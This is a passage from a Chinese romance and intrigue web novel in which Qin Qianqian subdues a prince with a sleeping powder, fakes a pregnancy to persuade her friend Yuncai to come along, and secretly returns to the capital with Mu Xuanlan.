在魏广遥愣在原地的时候，秦千千笑着抬头打量了一圈三楼，每个机关触发的五毒粉能维系一个时辰。
楼上一共有十二盏灯笼，拖他个一天不是问题。
“你可真是个疯子！如果说我现在把门打开，那你这酒楼也要被烧的什么都不剩下。”魏广遥目眦欲裂地瞪着她。
秦千千却无所谓地耸耸肩。
“你见谁家下药不会给自己解药的？况且这五毒粉只燃衣物与皮肉，木材它一律燃不着。”
“哦对了，忘了告诉你，在你破门而入的时候，我已经派人去给你父皇送信了。”
最后一根稻草直接压垮了魏广遥，自己被困在这里一天也就算了，可若真让他父皇知晓这事，那自己多活这一日，也没什么用了。
“你不让我活，那我今天非要带着你一起死。”魏凌鸣还没来得及拦住他，魏广遥便拔剑冲了过来。
穆轩岚现在简直不能听到，死字跟千千联系在一起。他心中怒火翻涌，这就准备去杀了魏广遥。
他把千千护在身后，谁知秦千千却攥住他后腰的腰带，把他往后面拉。
“放心，他再大吸两口粉末，就会昏过去了。”
164. 她们可在各自精彩
秦千千看着魏广遥胸口起伏越发剧烈，她真是满意极了。
她哪有什么时间去派人送信？一切只是骗魏广遥的借口而已。
穆轩岚带着她顺势左躲右闪，他心中不禁咋舌，自己怎么忘了？那可是也能把自己骗的团团转的鬼点子王！
她耍一个鲁莽冲动的魏广遥，实在是太过轻松了。
以魏凌鸣对秦千千的了解，她是一位吃什么都不会吃亏的人。
而白邵禾虽然不出招，但从他游刃有余的身法中可以看出，他绝对是武功高强之人。
那么，这其中一定有阴谋……
可他不能戳穿这层阴谋，不然大哥一定会杀了千千。
大哥的事情闹到父皇那里，大哥或许还有一丝生机。可秦千千却不能赌这个机会。两者相较，魏凌鸣决定站在原地不动。
秦千千话音刚落的几秒后，魏广遥突然头晕目眩，接着身体一歪倒在地上，手中握着的长剑也从手中滑落，往前面翻滚几圈。
魏凌鸣赶忙跑过去，秦千千拉着穆轩岚也往那边走去，她还赶忙安慰魏凌鸣。
“没事的，他只是被迷晕了而已。凌鸣，我接下来要干什么？你应该知道吧。”她接着问道。
魏凌鸣轻叹一口气，点了点头。目光这才从魏广遥的身上转向秦千千。
“大哥做错事情是该有惩罚，只不过不用你去汇报给父皇，你把证据交给我，我去。”
只不过他不知道现在能不能开门，那五毒散听起来着实厉害。
而秦千千也如实告诉他，上面撒的只是迷药，真正的五毒散价格过于昂贵，为了对付他大哥不值当。
……
魏凌鸣释然地笑，这的确像是她能说出来的话。
他招手，便跑来几个侍卫驾走了魏广遥。魏凌鸣没说什么，便准备跟着一同出门。秦千千什么也没说，目送他离开。
在开门时，他们却突然打不开店门，秦千千跟穆轩岚交换了个眼神，看他轻轻点头后，她才走了过去。
开店门这种事，其实秦千千并不擅长。她往往都是睡到日上三竿才起。若是每日等她开店门，那个店的生意也就不用做了。
魏凌鸣就是吃准了这一点，才把秦千千骗到了身边。
他什么都不用说，也什么都不用问，就知道这或许是他和千千的最后一面。
白邵禾为何而来？那必定是要接她回去的。
秦千千正准备去试着开门，在走过魏凌鸣身边时，魏凌鸣却突然转身把她拥在了怀里。
这是他们相识三年后的第一个拥抱，也是第一个千千没有拒绝他的拥抱。
魏凌鸣把下巴抵在她的肩头，表情宁静地闭上眼睛，哑着声音小声跟她说道。
“山高路远，日后别忘了给我传书。”
秦芊芊“嗯”了一声，双手这才环上他的脊背，轻轻拍了两下。
“我的建议你一定要三思，好吗？这酒楼可是我的心血，我不忍看它毁于战争。”
说罢，秦千千转头看向穆轩岚，果然看到了他一脸不耐烦的样子。
不能再抱了，否则穆轩岚可能真的要出兵了……
魏凌鸣也不是之前耍无赖那般，牵着她的手就不松，这下他慢慢松开双臂，往后退了两步，目光却紧紧盯着秦千千。
他要记清她的样貌，此后经年绝不能忘。
不过，此时的魏凌鸣可没想到，下次与她再见面时，自己又被秦老板狠狠宰了一笔。
魏凌鸣不再停留，决绝地转身离开。秦千千倚着门看他们离去，然后被身边突然出现的身影吓了一跳。
“没成想，魏广遥的下属竟然如此听他的话。”穆轩岚说道。
魏凌鸣一招手，那几百个护卫便跟着他一同走了，这倒是让穆轩岚着实没想到。
秦千千笑着跟他解释，这跟吉武国的风土人情有关。
在他们崇尚武力的国家，这种护卫最主要的职责便是保护主人的安全。眼下魏广遥被驾走，那他们为了保护主人的安全也要跟着离开。
“也可以说是挟天子以令诸侯了。”秦千千自然地环上他的胳膊，歪头问他刚刚是生气了吗？
“现在没事了。”
“好，没有破坏你要下厨的心情便好。走吧，我们去后院。”
秦千千可没忘了原本的约定，穆轩岚点头，只不过他执意要先去采买食物。为了更好吃，他决定亲自去买。
她没道理不同意，正好安排店中伙计把店里打扫干净，两个人便挽着手臂，去了菜市。
这几日，穆轩岚算是把风陵混熟了，再加上有千千作陪，他几乎什么也不用考虑，专心听她介绍就是了。
两个人边走说，正在千千常买的大娘那里看菜时，穆轩岚却说起了不可避免的一个话题。
“千千此事已了，你要跟我一起走吗？”
乍一听这话，很像是穆轩岚要离开，在问千千要不要与他同行。其实秦千千清楚，若自己不走，他也不会离开的。
挑好两捆小葱，秦千千从他的手里拿过两文钱递给大娘，然后把葱放在他手里，这才施施然地抬头看着他。
若是当初，她不会把话说得清楚明了，而是会逗弄他一番。可现在，穆轩岚的身体状况还是不适合听这种欲扬先抑的话。
“当然，不然你还想抛下我自己离开吗？”
欲扬先抑不行，但坦诚后的倒打一耙，秦千千觉得应该可以。
穆轩岚脸上从未消失过的一抹忧愁，终于在此刻烟消云散。他点着头笑出声，嘴上不断喃喃着“好好好”。
得到了肯定的回应，穆轩岚恨不得立马启程回京，回京后两个人还能享受一段隐秘时光。
千千当初答应过他，在他身体调养好之前，不会告诉任何人她还活着的消息。
是的，他现在还是没办法跟人共享千千，哪怕是桃花花王老怪都不行，更别说晏信这个曾经的情敌了……
晚上回房后，秦千千坐在他怀中调笑他，怎地越发小心眼儿了，他自然要为自己辩解几句。
“当初我让他带走那具遗体，已经是最大的宽容了。再说，他还守着你的衣冠冢，而我什么都没有。”
这几日，穆轩岚的身体是好了些，所以秦千千这才敢提起曾经的故友。
事情总要一步一步来，她得慢慢让穆轩岚接受现状。也要让他学会慢慢放手，也要相信自己是不会再离他而去了。
总不至于让他真的跟穆元基一样，把自己囚在王府中不见天
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日吧？
她被关起来，谁来做生意赚钱呢？
看着他委屈又不满的样子，秦千千赶忙抬头用额头亲昵地蹭着他脸颊，穆轩岚怕她掉下去，亦或者出于别的心思，紧了紧环住她腰际的手。
“好好好，反正都守三年了，那就让他们再守一阵吧。”
“他们？”
穆轩岚敏锐地察觉到了什么，他本想低头看向千千的眼睛。因为他知道，哪怕千千在言语上调笑自己，可重逢后她的眼神却不会对自己撒谎。
但穆轩岚又舍不得她撒娇般抵在自己脸边的姿势，他心中早就被这动作迷得一塌糊涂。情谊浸润了嗓音，他甫一开口，声音便是喑哑到不行。
可他贪恋的触感没持续一瞬，秦千千立马抬起头，十分不解风情又着急地问他：“你的嗓子怎么哑了？是不是水土不服？有没有哪里不舒服？”
穆轩岚觉得无奈又好笑，看她这般紧张自己，他心中浸了糖水一般甜蜜。
不对……
“你究竟是关心我，还是想转移话题？”
看着千千几乎压抑不住的嘴角和装傻充愣的眼神，穆轩岚主动把脸颊贴上她的额头，抬手把人按在自己颈间。
“嗯？”他威胁般发问。
“我说我说，但你可以停停你作乱的手吗？”
秦千千怕痒，而他环过她后腰虚虚搭在千千腰侧的手却十分不老实。最后，他又警示性的轻拍千千护在肚子上的手。
“看你表现。”
王老怪也去了璃光海，是穆轩岚知道的事情。后来他只知道，王老怪带着两个小童云游四方去了，其实最后他们还是安定在了璃光海。
当初几人四散而行的时候，桃花花和桑风雪一同离去。只不过在秦芊芊假死一年后，这两人也到了璃光海。
桑风雪天生自由，不愿意在一个地方停驻很久，而桃花花并未习惯江湖浪荡的生活，两个人终究要分开。
最后，桑风雪把桃花花留在了晏信的杂货店中。这里有晏信、王老怪这两位故人，更重要的是这儿有秦千千的坟冢。
“也就是一年前吧，我那坟头可太热闹了……”
“不许那么说。”穆轩岚的脸色一下子难看起来，秦千千赶忙改口。“我说错了，我说错了！”
每天上午，踏着朝阳去跟她谈话的是晏信；
中午，伴着烈日给她送供果贡品的，是王老怪的两个小童：草纸和当归；
下午来偷吃供果的，便是从店中偷跑出去，闲逛的桃花花；
晚上，王老怪从固定的问诊医馆路过坟冢，又会收走剩下的供果。
穆轩岚无奈地摇头，这群人在那里过得还挺精彩。
可在她们各自精彩的时候，自己却只能心死梦碎的、行尸走肉般困在那一方寂寥京都中……
想到这里，他眉眼间又泛起一股愁思，一如过去几年他时常有的那个神态。
看他这般黯然伤神，秦千千的心也快跟着碎了，她赶忙安慰穆轩岚。
“实在不行，那我就在你的王府中住三年，弥补这些过去的时光，好吗？”
穆轩岚知道，这对渴望自由的千千来说，已经是她能给的最大承诺了。他紧紧把千千拥在怀中，沉默了好久。
165. 你不去，我也不去了
穆轩岚和秦千千倒是把话彻底说开了，两个人现在心意相通，又处处为对方着想，再加上并未出现什么大事，她们两人算是近期在酒楼中最开心的人了。
元德要处处小心，生怕坏了两人的好事。而这风陵最不开心的人，便是云彩了。
虽然不如千千那般能预知很多事情，但云彩还看得出来，或许千千就要跟着穆轩岚走了。
那到时候自己要怎么办呢？
或许千千会豪掷千金，把酒楼交给她。哪怕千千舍不得，那个穆轩岚看起来也不像是差钱的人。可自己根本就不是做生意的材料，云彩讨厌做生意。
或许她会提出带自己离开，毕竟自己最大的心结——那一帮恶人已经被某个神秘团体尽数诛杀。不用说云彩也知道，肯定是穆轩岚的人。
自己要跟她去所谓的京都吗？云彩烦躁地在床上打滚，她重重捶了两下被子。
穆轩岚看不得秦千千跟别人亲密，他为此吃醋的时候，千千还会千方百计地哄他。可云彩现在想咆哮，她也看不得千千跟别人亲密。
不过，她这个有别于穆轩岚对千千的那种，出于情爱的占有欲。
云彩短短的前半生中，几乎没有过属于自己的东西。千千是她拥有的第一个东西，也是她唯一的亲人。
这个分量太重了，重到她这个自小就孤苦无依、担惊受怕的人不敢承认。时至今日，她也从未曾对千千说过这件事情。
因此，自打穆轩岚来了之后，云彩就时常生气。扭曲的性格让她对千千发火，可又说不出那句，因为我太在乎你。
这种心态也让云彩下定决心，她是不会跟千千回京都的。
一个穆轩岚就让自己从早气到晚，云彩不是聋子，她从元德的只言片语中，拼凑出京都的秦千千，是何等众星捧月的存在。
到时，她还能忍受自己耍小性子吗？若是她受不了，自己又当如何呢？
种种滋味涌上心头，它们杂糅在一起，与云彩撕裂成一片一片的心脏重组，云彩把它们团成一团，扔在一旁置之不理。
今日酒楼的生意格外好，外面吵吵嚷嚷的。平时云彩很喜欢听这个声音，可今日她却烦的不行，拉过被子包住自己的头。
“我想睡觉。”
没有人问，但云彩喃喃自语道。
也只有她自己知道，她在自欺欺人。她其实是裹在被子中流泪。
之前秦千千问过她一个问题，眼泪流干了就真的不会再流了吗？那时的秦千千在看话本，她擦泪用的手帕都浸湿了三条。
可一旁的云彩却无动于衷，秦千千出于好奇，才问了她这个问题。
云彩还记得，自己当初是怎么回答秦芊芊的。
“当然啊，我就不会流泪。”
现在她才知道自己错了，她不仅流泪，而且心好痛。
这种痛苦的回忆，倒是唤醒了云彩之前的经验，之前她被扔进那个坑里的时候，弱小无助的她也是哭到眼睛几乎都看不到东西。
可当积累够足够的悲伤之后，人就会麻木了。是了，自己再哭几次，就不会因为要和她分别而心痛了。
“元德，把药给他端楼上，记得要看他喝完之后再离开。”
秦千千和元德一人端了一个托盘，只不过元德的托盘上放了两个小碗：一碗是药，一碗是甜粥。
那是秦千千亲手熬的银耳羹，她自己手上也端了一碗，是要去送给云彩的。
这几日她察觉到云彩情绪不对，便专门跟穆轩岚告了假，过来找云彩谈心。
云彩是什么人？她再清楚不过。这丫头什么事情都往心里闷，从不告诉别人。
眼下形势越来越清晰，秦千千觉得她是为了将来的事情而忧愁，指不定云彩又在心中假定好，自己会抛弃她这种无稽之谈。
她想起自己出门前跟穆轩岚的对话……
“小孩子嘛，总是想这种有的没的。”穆轩岚稍稍撇嘴，他现在跟云彩可是竞争关系。
秦千千好不容易才从他这边得了空，正准备出门去，却又听到穆轩岚这话。她轻叹一口气，转身调笑他。
“正是因为小孩子你才要让着她呀。也不知道是谁，就因为那一碗甜粥，就要跟我喋喋不休半个时辰。”
自打秦千千开始煮粥，给穆轩岚解药苦时，她便每天雷打不动的也给云彩送去一碗。
起初，穆轩岚不知道这事儿，结果那天元德无意间说漏了嘴，穆轩岚那天晚上便阴阳怪气地揶揄她。
“唉……”秦芊芊看着元德上楼，这才低头看向眼前托盘上的甜粥，把自己从回忆中拖出来。
要是给穆轩岚知道，自己偏心云彩，天天往她碗中多加两个雪莲子，这说一不二的主估计要闹翻天了……
秦千千一手端着托盘，一手叩响云彩的房门，谁知半晌没听到回应。遵循着先礼后兵的原则，她一脚踹开了门。
“砰”的一声吓到铜镜前，正在涂抹脂粉的云彩。她手中掌心大的瓷罐，骤然从手中滑落，接着叮铃当啷的，装翻了桌上好多瓶罐。
看清屋里的情况后，秦千千不禁倒吸一口凉气。
完了，完了，这下自己估计要被云彩讹个几两银子了。
“秦千千，你这是干嘛！你把我的门踢坏了，怎么办？”云彩咬牙切齿地朝她吼道。
秦千千往前走了几步，把托盘先放在桌上，转身双手叉腰，一脸故作镇定地跟她争辩。
“这是你的屋，这还是我的酒楼呢。快些过来吃饭，本老板的大作好了。”
秦千千很会观察人的小表情，她观察人表情时总是不自觉地微微歪头。云彩知道，这是她的一个习惯。
所以看到秦千千歪头的时候，云彩立马避开了她的眼神。
她希望秦千千，不要从自己已经涂成大花脸的脸上，发觉自己泛红的眼眶……
云彩时不时瞟她一眼，她还在盯着自己看，不说话脸上也没有表情。
就在刚刚，云彩终于懂魏凌鸣当初跟自己说，秦千千有时给人压迫感很强的意思了。
之前她不懂这句话，千千明明是个随和的不得了的人，现在她才察觉那份压迫，的确有些让人窒息。
秦千千眨了眨相当犀利的眼睛，然后皱着眉头开口：“昨天睡觉扭着脖子了，你吃完粥帮我捏捏。”
秦千千说着，还左右活动着脖子
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，云彩扑上去咬死她的心都有了。亏自己刚刚心还提到了嗓子眼，害怕被她发现。
这家伙真的是……
“你要你相公干什么，你让他帮你揉。”
“嘿，你这小兔崽子！我要你干什么，那不就让你替我解闷的吗？还有别乱说什么相公，那都是气魏凌鸣的称呼而已。”
秦千千胳膊撑着桌面手托着脸，她看着眼前桌上的茶壶，整个人渐渐没了生机，仿佛瞬间枯死的树一样，让人触目惊心。
云彩总觉得她有点不对劲，可现在她不想跟秦千千探讨任何深刻的问题。
于是，她只能装作没看见，低头继续吃自己的饭。
“唉……”
她端起碗吃。
“唉……”
她仰起头吃。
光这一会儿叹的气，赶上秦千千这几年叹的气了，可云彩是丝毫不接招，只顾着吃自己的饭。
“你喜欢小宝宝吗？”秦千千微微转头问道。
毫不夸张的说，云彩突然愣住，她手中的碗也掉在腿边，然后摔在地上，瓷器清脆的碎裂声响起。
云彩知道，这碗是秦千千最喜欢的，最重要的是她花二百文买的。
可平时爱钱如命的人，现在却只是低头看了一眼那些碎片，继续说起刚刚那个堪称惊悚的话题。
“你不知道，穆轩岚在京都的仇家众多，若是我跟他回去，免不了遭人暗算。那个盘根错节的复杂情况，跟我们这街上的十几家恶霸一般，很是难缠。”
秦千千无奈地摇头叹气，而后再度抬头。
她动作一气呵成，简直像提前练好的一样，这是云彩后来才反应过来的。
“别人我不放心，你若是愿意跟我回去，以你的心细程度，一定能帮我扫平身边的危险。可若是你要不愿意去京都，我也不回去了。”
其实她们在风陵时便是如此，云彩看着每天到处瞎逛，但这丫头也是八面玲珑的主。随便晃荡一圈就能得到很多有用的消息。
不说她出门走街串巷，单说她在酒楼中随便转那么几圈，往往就能捕捉到一些消息。
按照秦千千之前的线索评判标准，云彩听到的消息有些值钱，有些不值钱。
可对于她一个，刚接触消息贩卖这个门道的人来说，云彩可以算是天赋异禀了。
云彩眼神复杂地盯着秦千千的肚子，又抬眸看了看她的脸，目光在这两者间不停流转，最后她盯着天花板翻了个白眼。
“你家那口也不是吃干饭的呀？你跟他回去，他也会保护好你的。”
“不不不！云彩，他总有护不住我的那一天，这是可以预见的，你在我身边我才安心。而且我没有告诉他这件事。”她的手抚上肚子，“若我们不回去的话，这孩子就不能让他知道。”
……
云彩本想像往常一样把千千轰出门，让自己好好思考一下。可手都推上千千的胳膊后，她却不敢用力，只能磕磕绊绊地叮嘱她。
“你再让我想两日，好吗？我……我一定尽早给你答复。”
秦千千点头离开，背对着云彩的脸上泛起一丝狡黠，她肚子里哪有孩子，只有一堆诡计。
166. 秘密回京
秦千千刚进门，穆轩岚便笑着问她，得到确切的回复了吗？
秦千千得意地耸了耸鼻子，满脸骄傲地说：“我如此冰雪聪明，收拾她一个小丫头，不轻轻松松的嘛。虽说她没确切回答，只说再想想，但我觉得一定没问题。”
如果说秦千千把听主人的话，当做人生第一要义的话，那穆轩岚的第一要义，就是相信她现在说的每一句话。
就像现在，穆轩岚生性谨慎，没有十拿九稳的事情，别人这么说他是不会相信的。
可这是千千，他无条件相信。
“好，那我们就尽早回京。”他想到了什么，朝千千伸出手，等牵到她的手后，穆轩岚这才继续说道。“只不过我们悄悄回去，什么都不宣扬，好吗？”
看着他为难又歉疚的表情，秦千千已经懂他心中的百转千回了。她用指腹熨平穆轩岚微皱的眉心，想都不想便答应他了。
“好好好，回去后我哪里也不去，就整日在府中陪着你，可以吗？”
听到这话，穆轩岚本来熨帖些的眉头又皱在一起，他知道这样着实委屈了千千，可他却说不出放弃这件事的话。
本以为跟千千待在一起几天后，他能调理好自己的心情。可刚刚只跟她分开短短几刻，穆轩岚心中又是心悸不已。
“待我们回京后，我还是通知王老怪过来帮我调一下身体吧。”穆轩岚有些挫败地说道。
“不用，你这病只有我治才能好。”
这也不是秦千千自夸，在某些事情上，她的判断非常准确。
在犹豫要不要告诉穆轩岚的时候，她想起重逢后的约定，秦千千便如实告诉了他。
“我其实问过主人，她也认可我这个说法，所以你就放心吧。”
前两日，云彩心中烦闷不愿搭理人，特别不愿意见到秦千千。知道所谓的真相后，她仍旧不爱说话，可处处注意着秦千千。
准确说，是注意着她的身体。
她忍了一整天，秦千千多走两步路，她就要紧张的不行，赶忙跑过来问她要干嘛，然后就会帮秦千千做事。
秦千千颇感好笑，不过没有对此发表什么意见。
可跟千千整日黏在一起的穆轩岚，却察觉到了什么。他还不知道，昨日千千是用什么诡计骗了云彩，问她她也没说。
再加上云彩已经奇怪了一整天，穆轩岚很是好奇。
“所以你到底跟她说什么了？你不会告诉他你生病或者怎么了吧？”
秦千千小小地吸了一口气，“嘶……，差不多是这样。”
鉴于楼下没什么需要她担心的，秦千千便拉着穆轩岚上楼。她常喝的茶铺子今日送来了新茶，秦千千邀请他上楼品茶。
穆轩岚招手喊来元德：“再给我温两壶酒送上……”
“等等！你们现在不能喝酒。”
云彩帮千千到店外拿茶叶，一个脚刚迈进屋里，正好听到他们的话，便连忙阻止他们。
看着云彩突然愤怒的表情，穆轩岚心中更是疑惑。可一想起千千骗了云彩，自己还是得先帮她忽悠云彩。
不喝就不喝了。
谁知千千问她要茶叶，云彩也不给。取茶叶的时候，她专门问的老板，这才得知，有身孕的人最好不要喝茶水。
穆轩岚和元德都疑惑地看着云彩，秦千千做贼心虚，只能顺着云彩，让她拿走茶叶。
至于穆轩岚，自己再想办法糊弄他吧。
云彩转身离开的时候，轻轻叹了一口气。这千千真让自己操心，她决定先把茶叶藏起来，然后再去找千千叮嘱几句。
去而复返后，只看到坐在一楼的穆轩岚，以及站在一旁为他倒酒的元德，秦千千不见了。
“千千她去哪儿了？”
“她吃坏肚子，去茅房了。”
穆轩岚好声好气地回答她，谁知云彩却满脸不快地瞪了他一眼，转身朝后院跑去。
究竟是肚子疼，还是孩子出了问题，云彩觉得自己的脑子都要炸了。
她刚出酒楼后门，就看到了在后院偏门站着的秦千千，她没有去茅房，而是在跟一个线人聊着什么。秦千千背对着她，完全没有察觉云彩的到来。
正好趁着这个机会，云彩准备去叮嘱一下穆轩岚，省得自己为她们担惊受怕。
穆轩岚被云彩叫上楼，他就知道云彩一定会找自己。可却万万没想到，她竟然是要求自己，对千千放尊重些……
“这是什么意思？”
“就是她身体不舒服，你对她好一点，还有酒茶之类的东西，千万不要再让她吃了。”云彩认命般叹气，咬咬牙还是把最后一句话说出来：“你们那事儿能停就停。”
她说完，刚好秦千千端着两盘点心上楼，她扯着嗓子叫她们开门。
穆轩岚愣住还没反应过来的时候，云彩便已转身离开。
迎面碰上秦千千，她还什么都不知道地让云彩留下来吃点心。云彩眼神复杂地看了她一眼，不是很情愿地小声嘟囔了一句。
“我会跟你回去的。”
秦千千瞪大眼睛，还没来得及感谢她，云彩就已经飞速跑下楼了。
她再一转头，便看到过来迎她的穆轩岚，他伸手接过两盘点心，目光考究地打量着千千。
“你听到了吗？云彩刚刚说她跟我们回去！”
秦千千现在高兴坏了，她们的行李收拾好两天了，就等云彩应允，然后她们便能出发回京了。
穆轩岚也为此高兴，可他脸上的笑容却蒙了一层迷雾。
他一直在观察千千，秦千千也不知道他出于何种目的盯着自己，便开口问他到底怎么了。
比起往日直接让她坐在自己腿上，把她紧紧拥入怀中的姿势，穆轩岚今日却只拉住千千的手，把她拉到自己身前，他自己坐在圆凳上，仰视着她。
“你身体是不是不舒服？”穆轩岚有些虚心虚地问。
近日虽说自己身体欠佳，千千一直在帮自己调理身体，可晚上该干的事，两个人也没少忙活。一到晚上，自己就有精力折腾她……
现在想来，也只有那方面出问题，云彩才会那样说。
他越想越着急，不自觉地收紧自己的双手，千千被他捏得手腕有些疼，她干脆挣脱穆轩岚的
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手，环上他的脖颈，轻轻在他额头盖上一吻。
“怎么这么问？”
穆轩岚张张口却没有发出声音，既然千千没有直接告诉自己，而是去跟云彩商议，那就说明她不想让自己知道这事。
算了，还是先不问吧。
“没事，就是看着你有些疲累。”他满眼疼惜地看着她，手也轻按她的腰背。
秦千千误以为这是什么暗示，便皱眉调笑他：“好啊，那今晚不要折腾我便是。”
没成想，两个人的话，歪打正着的对上了。
穆轩岚心中的歉疚更甚。
秦千千看他些许暗淡的表情，只当他是被自己的打趣逗羞了，还在为自己的玩笑话沾沾自喜……
她们给云彩留了一天的时间收拾行囊，秦千千没敢告诉云彩，她们的行囊早就归置好了。
终于到了出发的那一日，上了马车之后，云彩才问出她好奇的那个问题。
“千千，我们走了这酒楼怎么办？”
秦千千正掀起轿子上的小窗帘，看着窗外渐行渐远的风陵，她神态放松地回答云彩。
“放心，会有人来管着这里的。”
芳草阁在江湖各处，布置线人的流程都是如此：先是线人在那里安身立命，然后再发展各种下线之类的关系网。
接下来接管风陵酒楼的，便是秦千千选好的一个线人，也就是那日在后门她见的那个妇人。
这酒楼唯一特别之处，便是由秦千千一手操办好了一切，放在往常，这都是她不屑于管的事情。
不过，这段经历对秦千千来说，还是蛮惊喜的，而她也终于能好好休息一下。
上一次休息，还是假死后东躲西藏的那段日子。
穆轩岚把她拥在怀中，秦千千看够后，这才放下窗帘，乖顺地把额头抵在他颈侧。
“云彩，想休息就休息一下，路途漫长，我们得慢慢走。”
秦千千叮嘱云彩，她自己则是眼皮沉沉，说话间还打了个哈欠。
这是云彩，第一次出远门，虽然是深夜，但她却不困。
夜半出发是秦千千的主意，反正在哪睡都一样，她决定早些启程。晚一刻出发，就多一分被云彩发现端倪的可能。
魏凌鸣是深夜得知这个消息的，他无奈摇头，没成想那真的是她们的最后一面。
他原本还在想，若是有可能的话，想在千千走之前再见她一面，现在看来没机会了。
他父皇得知那事以后异常愤怒，居然要在明日当众处死他大哥，魏凌鸣走不开的。
而这场皇位之争，最终以这样的方式落下了帷幕，魏凌鸣不知道自己该是喜悦还是悲哀，亦或者沉浸于永别的难过。
他说不清楚，决定用后半辈子慢慢思考这个问题。
穆轩岚和秦千千这一路回城，也相当不容易，穆轩岚身体还没恢复好，秦千千又很久没有舟车劳顿，而云彩又担心千千的身体。
一行人就这么轮番提出停下来歇脚，这千里的路程，他们足足走了二十多天。
终于在一个月黑风高的夜晚，到了京都城外。
167. “生亦合欢，死亦合欢”
进了京都后，一切都相当顺利，暗卫严格把控消息，穆轩岚回京的事情，没有走漏半点风声。
更别说会有人知道，他带了两个人回来。
穆轩岚专门挑了一条路过清风酒楼的路，本想先让千千看一看她的地盘。结果她那时还倚在穆轩岚怀中睡觉，他便没有叫醒千千。
一路上越发兴奋的云彩，掀起窗帘看着人声鼎沸的京都夜景。
不管哪条长街都是红灯高悬，人们谈笑着到处闲逛。云彩想夜里都这般热闹，那白天的京都一定会更好玩。
可她很快就注意到，最宽广的街上有一家格格不入的店铺：没有挂灯，门也紧紧关闭着，整栋楼都被漆黑的夜幕笼罩的看不清楚。
等马车走近，云彩才分辨出这栋楼，竟是那么高大，几乎是在枫林她们酒楼的两倍高。而且处于这么好的地段，怎么就没人做生意呢？
“这就是千千的清风酒楼。”穆轩岚开口低声解释道。
过去三年中他常常夜半来此，因此坐在马车中，哪怕不看窗外的景色，他也能从走贩的叫卖声中听出这就是清风酒楼。
云彩被惊得合不拢嘴，先前她以为元德介绍千千的那些说法都是夸张的，现在看来他甚至还谦虚了些……
她转头看着在穆轩岚怀中沉睡着的秦千千，心中不断感慨，千千的身份远比她想象的厉害的多。
终于从她眼中读出对千千的敬佩，穆轩岚心情颇好，他决定等她醒了，立马把这事儿告诉她
可惜他的计划落了空。
或许是因为路途过于辛劳，秦千千睡得很沉，任由穆轩岚抱着她下车、回寝宫、又把她放在床上，一番折腾下来，千千还是没有醒。
穆轩岚站在寝宫门口叮嘱夏念烟，虽说元德已经去安置云彩了，但他一个男的难免有疏漏，穆轩岚便让夏念烟去帮忙。
夏念烟领命准备离开时，他又吩咐了一件事。
“这两日告诉她不用等我们吃饭，我们的饭送送到这里就好。明天，可以带冬芸见见云彩，两个人说不定会聊得来。”
穆轩岚是怕云彩无聊，更怕她因为无聊而过来黏着秦千千，得给她找点事做。
没成想，穆轩岚明日的事情安置的很好，可架不住当天夜里云彩就过来找他。
元德一脸为难地看着殿下，他什么也说不出口，但眼神已经告诉了穆轩岚一切。
反正穆轩岚暂时没有困意，便跟着云彩去院中闲聊。聊完之后他一夜未睡，甚至连床都没敢上。
后来因为秦千千从梦中惊醒，习惯性地伸手探寻身边人的时候，穆轩岚才赶忙和衣而卧躺在她身边。
可他依旧瞪着眼睛熬到了第二天天明。
秦千千是被鸟叫声吵醒的，她稍显不悦地皱眉，费了好大劲才掀起眼帘。
她想指着外面叽叽喳喳的鸟臭骂一顿，结果在看到门窗前，先看到了满脸疲惫的穆轩岚。
不止神态疲惫，他眉头还紧皱在一起，像是听到了什么很不好的消息？。
“你难不成一夜未睡？”秦千千很少见他如此忧愁，便关切地问他。
穆轩岚维持着侧身看着她的姿势，牵起她的手，放在了自己的胸口。
“千千，这么大的事情你为什么不告诉我？”
自打昨夜云彩告诉他，千千有了身孕之后，穆轩岚就完全没有办法冷静下来。
经过一夜的沉淀，也没什么用。
他一晚上想了好多个问题，想问千千。可真等她醒了，穆轩岚却突然放下了问题，眼神复杂地看着千千。
秦千千暗道不好，重逢后她就只有一件事瞒了穆轩岚——那就是说自己有身孕。她当初用这个借口诓骗云彩时，就担心有事情败露的那一天。
结果昨夜太困，忘记这事了。
之前用这个借口骗云彩时，她只告诉云彩，若是云彩和她不回京，那就不把这消息告诉穆轩岚，可现在回京之后云彩一定会告诉穆轩岚的。
……
“其实那是我骗云彩的借口，根本没有什么身孕之事。”
秦芊芊一边说，一边心虚地低下头，往穆轩岚的怀里钻。最后鼓足勇气，才抬头偷看穆轩岚一眼。
她现在算是知道，什么叫做哑然失声了。
在秦千千不知道该说什么安慰他的时候，穆轩岚却低头用唇封住了她的嘴，而后在唇齿相依时轻轻咬了她一口。
两人四目相对，穆轩岚眼底这才浮现出一抹笑意，秦千千疑惑不解，他这反应，怎么跟自己预想的完全相反？
“怕我胡思乱想，所以不告诉我？千千，我们说好了不骗彼此的。”
那一口，是对她违背承诺的一个小小的惩戒。
秦千千的心彻底放在肚子里，她笑着主动回吻，在换气间隙说出了自己的心事。
她之前对于自己一生的计划，便是要把清风酒楼经营好，至于什么情情爱爱，她倒是没有什么期待。至于孩子，对她来说更是天方夜谭。
秦千千各方消息都搜罗，自然知道生孩子对一个女人来说，就是鬼门关走一遭。
她既爱财又惜命，放着人间大好的日子不过。为什么要去那鬼门关闯一闯。
后来她遇到了穆轩岚，经过一番波折后，秦千千决定与他白头偕老，可她对生孩子依然没有什么好感。
因此，她很害怕知道穆轩岚对孩子的看法，害怕两个人为此分歧，更害怕穆轩岚为了迁就自己而妥协。
每每想到此事，她心脏像是被攥了一把，有种快要窒息的痛。现今刚好说到这事，她一咬牙，决定把话说明白。
“我还以为你那么喜欢孩子，因为这事沮丧呢。”
穆轩岚可没想到，她心中百转千回想了那么多。他笑着摇头，“我最喜欢你，其他的都不重要。”
自小生在天家，穆轩岚有十几个兄弟姐妹，他清楚的是，宫中为了生皇子难产而死的人太多。重逢后他就格外珍惜千千，又怎么会让她去冒这种险？
看千千担心自己喜欢孩子，其实穆轩岚还在担心她执意要生，自己该怎么拒绝她呢？
“比起什么后代，我只要你平平安安，这就够了。”
穆轩岚心
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中感动的一塌糊涂，她一用力便把穆轩岚扑倒在床上，发自肺腑地感叹：
“这世上最好的男人被我给遇到了啊！真好。”说着便又在他脸颊重重亲了一口，穆轩岚眸色深沉地看着她，郑重深情地告诉她：“你也是世间最好的。”
两个人总不能青天白日都在床上度过，秦千千好不容易脚踏实地，昨晚又睡得很好，精力相当旺盛。知道她闲不住，穆轩岚便提议带她出去玩。
为了不让她担心，他还告诉千千，冬芸跟云彩一同去街上闲逛了。
秦千千没有问他要带自己去哪，由着他把自己抱上马，两人同乘一匹快马，挥鞭扬长而去。
